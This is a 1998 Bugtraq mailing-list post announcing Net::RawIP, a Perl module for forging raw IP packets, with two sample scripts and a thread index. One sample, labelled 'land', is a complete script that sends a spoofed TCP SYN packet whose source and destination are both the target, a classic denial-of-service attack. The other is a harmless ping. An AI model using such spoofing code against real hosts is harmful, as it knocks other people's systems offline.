Bugtraq mailing list archives
New perl module Net::RawIP
From: ksv () GW AL LG UA (Sergey V. Kolychev)
Date: Tue, 22 Dec 1998 17:23:38 +0200
Good day. This is my first bugtraq post. I'm just another perl coder ;). I'm writing module which can be used for easy manipulating raw ip packets from perl. This module have optional feature for manipulating ethernet headers. Also it included interface for libpcap. It can be used for easy writing port scanners,programs for check security, network DoS directly from perl ;) I have test my module only on Linux 2.0.3x with glibc Just two small examples: land ----- #!/usr/bin/perl require 'getopts.pl'; use Net::RawIP; Getopts('i:p:'); $a = new Net::RawIP; die "Usage $0 -i <target> -p <target port>" unless ($opt_i && $opt_p); $a->set({ ip => {saddr => $opt_i, daddr => $opt_i }, tcp=> {dest => $opt_p, source => $opt_p, psh => 1, syn => 1} }); $a->send; --------- ping --------- #!/usr/bin/perl use Net::RawIP qw(:pcap); $a = new Net::RawIP ({icmp =>{}}); $a->set({ip => {saddr => 'ns.al.lg.ua', # insert your site here ! daddr => $ARGV[0]}, icmp => {type => 8, id => $$} }); $device = 'eth0'; # insert your device here ! $filt = 'ip proto \\icmp and dst host ns.al.lg.ua';# insert your site here! $size = 1500; $tout = 30; $pcap = $a->pcapinit($device,$filt,$size,$tout); $i =0; if(fork){ loop $pcap,-1,\&dmp,\@a; } else{ sleep 2; for(;;){ $a->set({icmp => {sequence => $i,data => timem()}}); $a->send(1,1); $i++ } } sub dmp{ my $time = timem(); $a->bset(substr($_[2],14)); my @ar = $a->get({ip => [qw(ttl)], icmp=>[qw(sequence data)]}); printf("%u bytes from %s: icmp_seq=%u ttl=%u time=%5.1f ms\n",length($ar[2])+8, ,$ARGV[0],$ar[1],$ar[0],($time-$ar[2])*1000); } ---- Thanks to Pavel Krauz <kra () cri cz> for hunt,I used some code from it. Latest version my module available from http://www.ic.al.lg.ua/~ksv/Net-RawIP-0.02b.tar.gz Version 0.01 available from CPAN I will be glad if somebody find my work interesting. ----------------------Alchevsk Linux User Group----------------------- UNIX is user friendly. It's just selective who the friends are. Linux is like wigwam - no windows, no gates, apache inside. http://www.ic.al.lg.ua/~ksv | e-mail: ksv () gw al lg ua PGP key & Geekcode: finger ksv () gw al lg ua
Current thread:
- Re: Verifying file data integrity using L6, (continued)
- Re: Verifying file data integrity using L6 Marc SCHAEFER (Dec 20)
- Re: Verifying file data integrity using L6 Curt Sampson (Dec 21)
- Why you should avoid world-writable directories D. J. Bernstein (Dec 21)
- Re: Why you should avoid world-writable directories Darren Reed (Dec 22)
- Re: Why you should avoid world-writable directories Alan Cox (Dec 22)
- Re: Why you should avoid world-writable directories Casper Dik (Dec 23)
- Re: Why you should avoid world-writable directories Martin Forssen (Dec 23)
- Linux PAM (up to 0.64-2) local root compromise Michal Zalewski (Dec 23)
- Re: Linux PAM (up to 0.64-2) local root compromise Savochkin Andrey Vladimirovich (Dec 24)
- 3COM Documentation backdoors in CB3500 Pedro Ribeiro (Dec 23)
- New perl module Net::RawIP Sergey V. Kolychev (Dec 22)
- Update on Cisco IOS 12.0 security bug John Bashinski (Dec 22)
- Re: New perl module Net::RawIP route () RESENTMENT INFONEXUS COM (Dec 22)
- [SecureXpert Labs Advisory SX-98.12.23-01] Widespread DoS Richard Reiner (Dec 23)
- Merry Christmas to Sun! (Was: L0pht NFR N-Code Modules Updated) Anonymous (Dec 23)
- Re: Merry Christmas to Sun! (Was: L0pht NFR N-Code Modules Casper Dik (Dec 24)
- Re: Merry Christmas to Sun! (Was: L0pht NFR N-Code Modules Dima Volodin (Dec 25)
- Re: Merry Christmas to Sun! (Was: L0pht NFR N-Code Modules Lamont Granquist (Dec 28)
- Re: Merry Christmas to Sun! (Was: L0pht NFR N-Code Modules Igor Schein (Dec 28)
- Re: Merry Christmas to Sun! (Was: L0pht NFR N-Code Modules Casper Dik (Dec 28)
- A few more fingerprinting techniques - time and netmask David G. Andersen (Dec 28)
- Re: Verifying file data integrity using L6 Marc SCHAEFER (Dec 20)